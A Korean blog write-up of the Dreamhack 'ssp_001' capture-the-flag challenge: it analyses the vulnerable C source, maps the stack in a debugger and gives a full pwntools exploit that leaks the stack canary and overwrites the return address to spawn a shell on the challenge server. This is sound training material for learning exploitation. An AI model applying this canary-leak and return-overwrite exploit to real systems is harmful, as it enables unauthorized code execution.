stxxp

[Pwnable] Dreamhack: ssp_001 write-up 본문

Security/Pwnable

[Pwnable] Dreamhack: ssp_001 write-up

stxxp 2024. 4. 7. 23:58
◎ 목차 
# 보호기법
# 소스코드 분석
   1. 함수 분석
   2. 취약점 분석
# 문제 풀이
   1. 디버깅
   2. Exploit 코드

 

 

# 보호기법

카나리와 NX 보호 기법이 걸려 있다.

더보기

Canary와 NX는 메모리 보호 기법이다.

Canary 보호 기법의 경우 버퍼와 return address 사이에 특정한 값을 집어넣어 스택 오버플로우를 막는 기법이다. 이 카나리는 main이 실행될 때마다 변경되어 무작위로 생성되며, 반환 주소 ret에 접근하기 전에 카나리 값의 위변조를 유무를 확인한다. 만약, 변조된 것이 확인되면 프로세스는 강제로 종료되게 된다. 

공격자가 실행 흐름을 변경하기 위해서는 ret, sfp 이전에 카나리 값을 반드시 덮어야 하기 때문에 카나리값을 모르면 BOF 공격이 불가능해진다.

NX(No eXecute)는 프로세스 실행에 사용되는 메모리에 대해 실행 권한을 할당하지 않음으로써 공격자가 스택에 쉘을 삽입하여 실행하는 등의 공격을 할 수 없도록 하는 보호 기법이다.

 

 

# 소스코드 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40= {};
    char name[0x40= {};
    char select[2= {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d"&idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d"&name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
 
 
cs

ssp_001.c 파일이다.

 

1-1. alarm_handler(), initialize()

int setvbuf(FILE *stream, char *buf, int type, size_t size);

_IONBF : file discripter에 대해 버퍼링을 사용하지 않음. stdin, stdout에서 사용자와 시스템이 바로 상호작용할 수 있도록 함.

 

버퍼 할당과 관련된 함수들인 것 같다.

시스템에서는 입출력 성능 향상 등의 목적으로 버퍼라는 공간에 자원을 담아두고 사용하는 버퍼링 방식이 사용되는데, setvbuf()는 이 버퍼링을 특정 방식으로 세팅하기 위한 함수라고 한다.

 

1-2. get_shell()

  시스템에서 쉘을 실행하는 함수

 

1-3. print_box()

  main에서 지정한 box[ ]의 해당 인덱스 번호와 데이터(2자리 16진수로)를 출력하는 함수

 

1-4. main()

 F 메뉴 : box[ ]을 입력받음

▷ P 메뉴 : 인덱스를 입력받아 box[ ]에서 해당 데이터를 출력함

▷ E 메뉴 : name의 size를 입력받고 그 크기에 해당하는 만큼 name을 입력받음

 

2. 취약점 분석

▷ P 메뉴에서 box[ ]의 길이를 검증하지 않고 인덱스를 받아오기 때문에 box[ ] 아래 메모리 값을 읽어올 수 있다.

 

main에서 처음 name의 길이를 0x40으로 지정한 반면, E 메뉴에서 name_len을 새로 입력받고 이에 대해 name를 받아오기 때문에 BOF가 발생한다.

 

 

 

# 문제 풀이

P 메뉴에서 canary를 leak하여 E 메뉴를 통해 ret를 get_shell() 함수의 주소로 덮으면 문제를 해결할 수 있을 것 같다.

그러려면 box[ ]나 name 등의 stack 구조를 정리할 필요가 있어 보인다.

 

1. 디버깅

select : 위치 ebp - 0x8a, 크기 0x2

box : 위치 ebp - 0x88, 크기 0x40

idx : 위치 ebp - 0x94, 크기 0x4

name_len : 위치 ebp - 0x90

name : 위치 ebp - 0x48

 

b *main

 

위의 내용을 토대로 정리한 스택은 다음과 같다. (검은 글씨로 쓴 크기는 main에서 할당된 값이다.)

idx [4]
name_len [6]
select [2]
box [64]
name [64]
canary [4]
sfp [4]
ret [4]

 

사실 처음엔 여기서 바로 exploit 코드를 짰는데 그러면 안 됐었다ㅠ

널을 통해 leak한 canary값이 잘 들어온 것을 확인했는데도 계속 강제 종료가 됐다.

 

다른 분들 풀이를 보니 ret을 덮기 이전에 dummy값이 있다고 했는데 그걸 모르고 계속 sfp 4byte만 덮어서 쉘을 딸 수 없었던 것이었다.

b *main+28

그렇다면 dummy 값을 확인해보자.

 

gs:[0x14]의 데이터를 읽어 eax에 저장하고 있는데 gs가 세그먼트 레지스터 중 하나인 것 같다. 그러므로 main+19 가 실행되면 eax에는 랜덤한 값, 즉 카나리가 저장되게 될 것이다.

 

그리고 main+25에서 ebp - 0x8에 카나리가 위치하게 되므로 그 아래에 bp를 걸었다.

확인해 보니 ebp와 canary 사이에 0xf7ffcb80이라는 dummy값이 4byte 존재했다.

 

이를 토대로 스택을 다시 그려보면 다음과 같다.

STACK
idx [4]

name_len [6]

select [2]


box [64]




name [64]


canary [4]
dummy [4]
sfp [4]
ret [4]

 

아래는 사용할 ret에 덮을 get_shell() 함수의 주소이다.

info func

 

2. Exploit 코드

보호 기법을 확인하며 little endian이 적용되어 있음을 확인했으니 P 메뉴를 통해 box(더 높은 주소)에서 canary(더 낮은 주소)까지의 offset를 사용해 1byte씩 BOF시켜 총 4번 실행하면, 4byte의 canary값을 가져올 수 있을 것이다.

 

offset은 위에서 정리한 스택 구조를 통해 128byte 임을 알 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
def slog(n, m):
    return success(': '.join([n, hex(m)]))
 
#p = process('./ssp_001')
= remote('host3.dreamhack.games'23760)
context.arch = "i386"
 
get_shell = 0x80486b9
 
# Canary leak
canary = b''
for i in range(131127-1):
    p.sendlineafter('> ''P')
    p.sendlineafter('Element index : 'str(i))
    p.recvuntil(' : ')
    canary += p.recv(2)
 
canary = int(canary, 16)
slog('Canary : ', canary)
 
# Exploit
payload = b"A"*64 + p32(canary) + b"B"*8
payload += p32(get_shell)
 
p.sendlineafter('> ''E')
p.sendlineafter('Name Size : ''100')
p.sendafter('Name : ', payload)
 
p.interactive()
 
cs

 

성공!

'Security > Pwnable' 카테고리의 다른 글

[Pwnable] Stupid GCC write-up  (0) 2025.03.17
[Pwnable] BOF 예제 풀기  (0) 2024.03.19
[WolvCTF] Pwn: babypwn write-up  (2) 2024.03.19
[Pwnable] x86-64 아키텍처 - 레지스터  (0) 2024.03.15
[HackCTF] SysROP writeup  (0) 2020.11.27